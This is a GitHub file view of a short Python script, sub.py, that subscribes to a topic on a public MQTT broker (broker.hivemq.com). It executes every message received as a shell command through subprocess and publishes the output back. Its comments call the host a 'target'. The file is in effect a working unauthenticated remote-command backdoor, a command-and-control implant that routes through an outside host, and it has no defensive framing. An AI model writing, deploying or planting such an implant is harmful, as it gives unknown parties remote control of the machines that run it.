-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsub.py
53 lines (40 loc) · 1.27 KB
/
sub.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import subprocess
import time
# try:
# import paho.mqtt.client as mqtt
# except:
# bashCommand="sudo pip3 install paho-mqtt"
# process = subprocess.Popen(bashCommand.split(), stdout=subprocess.PIPE)
# output, error = process.communicate()
# time.sleep(5)
import paho.mqtt.client as mqtt
# Do not use an publicly available broker
broker = "broker.hivemq.com"
port = 1883
username =None
password = None
# Set an topic for target to listen
topic_recieve = "target/"
# Set an topic for target to show output
topic_out = "output/"
# Set an topic for target to show output
topic_err = "error/"
def on_connect(client, userdata, flags, rc):
print("Connected with result code "+str(rc))
client.subscribe(topic_recieve)
def on_message(client, userdata, msg):
bashCommand = msg.payload.decode('UTF-8')
try:
process = subprocess.Popen(bashCommand.split(), stdout=subprocess.PIPE)
output, error = process.communicate()
client.publish(topic_out,payload=output)
except:
client.connect(broker, port, 60)
client.publish(topic_err,payload="Error Occured")
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
# Uncomment to input username and password
# client.username_pw_set(username, password)
client.connect(broker, port, 60)
client.loop_forever()